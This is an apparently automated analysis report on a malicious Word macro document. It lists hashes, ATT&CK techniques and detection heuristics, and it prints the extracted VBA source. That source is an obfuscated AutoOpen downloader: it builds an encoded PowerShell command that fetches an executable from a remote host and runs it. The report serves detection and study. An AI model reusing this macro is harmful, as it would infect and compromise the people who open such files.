Office (OLE) malware analysis — malicious · cf258ca23739eeae

MALICIOUS

Office (OLE)

76.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-05-16

MD5: 17a107108c8839f21e13452ce409d322 SHA-1: dab36797012cd0125a8b596baa60cd80c940ee13 SHA-256: cf258ca23739eeaebeead436ae59313062f65d6be0728652c9d11bc5cd403de1

242 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() function to execute a PowerShell command. This command is obfuscated but appears to download and execute a second-stage payload from a remote URL. The presence of the Shell() call and the auto-execution marker strongly indicate malicious intent.

Heuristics 7

ClamAV: Doc.Malware.00536d-6735644-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.00536d-6735644-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
Shell() call in VBA critical OLE_VBA_SHELL

Shell() call in VBA
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9638 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	9638 bytes
SHA-256: `d67c08381b81a54599fc9f3dfa41e90469f844f07f180c763f5273ecebb53466`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() On Error Resume Next Dim buHixyHYItUFibikExObMuhigORlUharefeGA Choose 8, "sYRuFukedUKO", LTrim("buHixyHYItUFibikExObMuhigORlUharefeGA"), "sYRuFukedUKObuHixyHYItUFibikExObMuhigORlUharefeGA" IsError CVErr(2867) Call IsNumeric(2867 - sYRuFukedUKO) If LenB(sYRuFukedUKO12) > CInt(Hex(2867)) Then StrComp "sYRuFukedUKO", "sYRuFukedUKO" & buHixyHYItUFibikExObMuhigORlUharefeGA End If RIkoayqunyVEdSYTulisUvuAPuVUnIzFEbwBoxe = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^" GuWeQocAGuFjukUvElBYxyRUQEdUFYKo = "C^8^A^L^w^B^3^A^G^U^A^Y^Q^B^t^A^G^8^A^" + ChrW((12.5 * 8) - 1) + "^w^B^p^A^G^M^A^Y^Q^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^E^A^d^A^B^y^A^G^k^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B" Dim tORojionumYqLISUmAnImym Choose 4, "caVaJEzoCAKiBYlyLyiev", LTrim("tORojionumYqLISUmAnImym"), "caVaJEzoCAKiBYlyLyievtORojionumYqLISUmAnImym" IsError CVErr(6530) Call IsNumeric(6530 - caVaJEzoCAKiBYlyLyiev) If LenB(caVaJEzoCAKiBYlyLyiev10) > CInt(Hex(6530)) Then StrComp "caVaJEzoCAKiBYlyLyiev", "caVaJEzoCAKiBYlyLyiev" & tORojionumYqLISUmAnImym End If Dim nUhUNopisiNUpypejufLuDEsikaVONEkyN Choose 5, "dypAXObaSUmApofIhozyg", LTrim("nUhUNopisiNUpypejufLuDEsikaVONEkyN"), "dypAXObaSUmApofIhozygnUhUNopisiNUpypejufLuDEsikaVONEkyN" IsError CVErr(9147) Call IsNumeric(9147 - dypAXObaSUmApofIhozyg) If LenB(dypAXObaSUmApofIhozyg13) > CInt(Hex(9147)) Then StrComp "dypAXObaSUmApofIhozyg", "dypAXObaSUmApofIhozyg" & nUhUNopisiNUpypejufLuDEsikaVONEkyN End If pVorOWKcNamyViBoSylRofawauFajXkyNElYU = "^j^A^D^Q^A^Y^g^B^k^A^D^" + ChrW((12.5 * 8) - 1) + "^A^M^w^A^3^A^G^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^w^A^0^A^G^I^A^Z^A^A^3^A^D^M^A^N^w^B^j^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^" Dim hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi Choose 1, "FyRijenuYNe", LTrim("hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi"), "FyRijenuYNehIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi" IsError CVErr(8211) Call IsNumeric(8211 - FyRijenuYNe) If LenB(FyRijenuYNe12) > CInt(Hex(8211)) Then StrComp "FyRijenuYNe", "FyRijenuYNe" & hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi End If Dim pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn Choose 1, "HOdYKaWIimiiEME", LTrim("pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn"), "HOdYKaWIimiiEMEpCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn" IsError CVErr(9507) Call IsNumeric(9507 - HOdYKaWIimiiEME) If LenB(HOdYKaWIimiiEME11) > CInt(Hex(9507)) Then StrComp "HOdYKaWIimiiEME", "HOdYKaWIimiiEME" & pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn End If Dim LIFuzRAnukILyxewYRopubRiHufYrAXUg Choose 1, "govyjYWyxoToWus", LTrim("LIFuzRAnukILyxewYRopubRiHufYrAXUg"), "govyjYWyxoToWusLIFuzRAnukILyxewYRopubRiHufYrAXUg" IsError CVErr(7493) Call IsNumeric(7493 - govyjYWyxoToWus) If Len ... (truncated)

SHA-256: d67c08381b81a54599fc9f3dfa41e90469f844f07f180c763f5273ecebb53466

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
Dim buHixyHYItUFibikExObMuhigORlUharefeGA


Choose 8, "sYRuFukedUKO", LTrim("buHixyHYItUFibikExObMuhigORlUharefeGA"), "sYRuFukedUKObuHixyHYItUFibikExObMuhigORlUharefeGA"
IsError CVErr(2867)
Call IsNumeric(2867 - sYRuFukedUKO)

If LenB(sYRuFukedUKO12) > CInt(Hex(2867)) Then
   StrComp "sYRuFukedUKO", "sYRuFukedUKO" & buHixyHYItUFibikExObMuhigORlUharefeGA
End If
RIkoayqunyVEdSYTulisUvuAPuVUnIzFEbwBoxe = "" + ChrW((12.5 * 8) - 1) + "Md." + Format(ChrW(50 * 2 + 1)) + "X" + Format(ChrW(50 * 2 + 1)) + " /" + ChrW((12.5 * 8) - 1) + " p^o^w^" + Format(ChrW(50 * 2 + 1)) + "^r^s^h^E^L^L^.^" + Format(ChrW(50 * 2 + 1)) + "^x^" + Format(ChrW(50 * 2 + 1)) + "^ ^-^" + Format(ChrW(50 * 2 + 1)) + "^" + ChrW((12.5 * 8) - 1) + "^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^" + ChrW((12.5 * 8) - 1) + "^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^" + ChrW((12.5 * 8) - 1) + "^A^A^6^A^"

GuWeQocAGuFjukUvElBYxyRUQEdUFYKo = "C^8^A^L^w^B^3^A^G^U^A^Y^Q^B^t^A^G^8^A^" + ChrW((12.5 * 8) - 1) + "^w^B^p^A^G^M^A^Y^Q^B^k^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^" + ChrW((12.5 * 8) - 1) + "^A^d^w^B^u^A^G^8^A^" + Format(ChrW(50 * 2 + 1)) + "^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^E^A^d^A^B^y^A^G^k^A^N^g^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^" + ChrW((12.5 * 8) - 1) + "^A^X^A^B"


Dim tORojionumYqLISUmAnImym


Choose 4, "caVaJEzoCAKiBYlyLyiev", LTrim("tORojionumYqLISUmAnImym"), "caVaJEzoCAKiBYlyLyievtORojionumYqLISUmAnImym"
IsError CVErr(6530)
Call IsNumeric(6530 - caVaJEzoCAKiBYlyLyiev)

If LenB(caVaJEzoCAKiBYlyLyiev10) > CInt(Hex(6530)) Then
   StrComp "caVaJEzoCAKiBYlyLyiev", "caVaJEzoCAKiBYlyLyiev" & tORojionumYqLISUmAnImym
End If
Dim nUhUNopisiNUpypejufLuDEsikaVONEkyN


Choose 5, "dypAXObaSUmApofIhozyg", LTrim("nUhUNopisiNUpypejufLuDEsikaVONEkyN"), "dypAXObaSUmApofIhozygnUhUNopisiNUpypejufLuDEsikaVONEkyN"
IsError CVErr(9147)
Call IsNumeric(9147 - dypAXObaSUmApofIhozyg)

If LenB(dypAXObaSUmApofIhozyg13) > CInt(Hex(9147)) Then
   StrComp "dypAXObaSUmApofIhozyg", "dypAXObaSUmApofIhozyg" & nUhUNopisiNUpypejufLuDEsikaVONEkyN
End If
pVorOWKcNamyViBoSylRofawauFajXkyNElYU = "^j^A^D^Q^A^Y^g^B^k^A^D^" + ChrW((12.5 * 8) - 1) + "^A^M^w^A^3^A^G^M^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^" + ChrW((12.5 * 8) - 1) + "^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^Y^w^A^0^A^G^I^A^Z^A^A^3^A^D^M^A^N^w^B^j^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^"
Dim hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi


Choose 1, "FyRijenuYNe", LTrim("hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi"), "FyRijenuYNehIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi"
IsError CVErr(8211)
Call IsNumeric(8211 - FyRijenuYNe)

If LenB(FyRijenuYNe12) > CInt(Hex(8211)) Then
   StrComp "FyRijenuYNe", "FyRijenuYNe" & hIGEcoceNeQEmLIaEsYcUSUReMAioBAvezi
End If
Dim pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn


Choose 1, "HOdYKaWIimiiEME", LTrim("pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn"), "HOdYKaWIimiiEMEpCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn"
IsError CVErr(9507)
Call IsNumeric(9507 - HOdYKaWIimiiEME)

If LenB(HOdYKaWIimiiEME11) > CInt(Hex(9507)) Then
   StrComp "HOdYKaWIimiiEME", "HOdYKaWIimiiEME" & pCukAGolESAnyxEVexIwtRItNebiTywoxAmoFAn
End If


Dim LIFuzRAnukILyxewYRopubRiHufYrAXUg


Choose 1, "govyjYWyxoToWus", LTrim("LIFuzRAnukILyxewYRopubRiHufYrAXUg"), "govyjYWyxoToWusLIFuzRAnukILyxewYRopubRiHufYrAXUg"
IsError CVErr(7493)
Call IsNumeric(7493 - govyjYWyxoToWus)

If Len
... (truncated)

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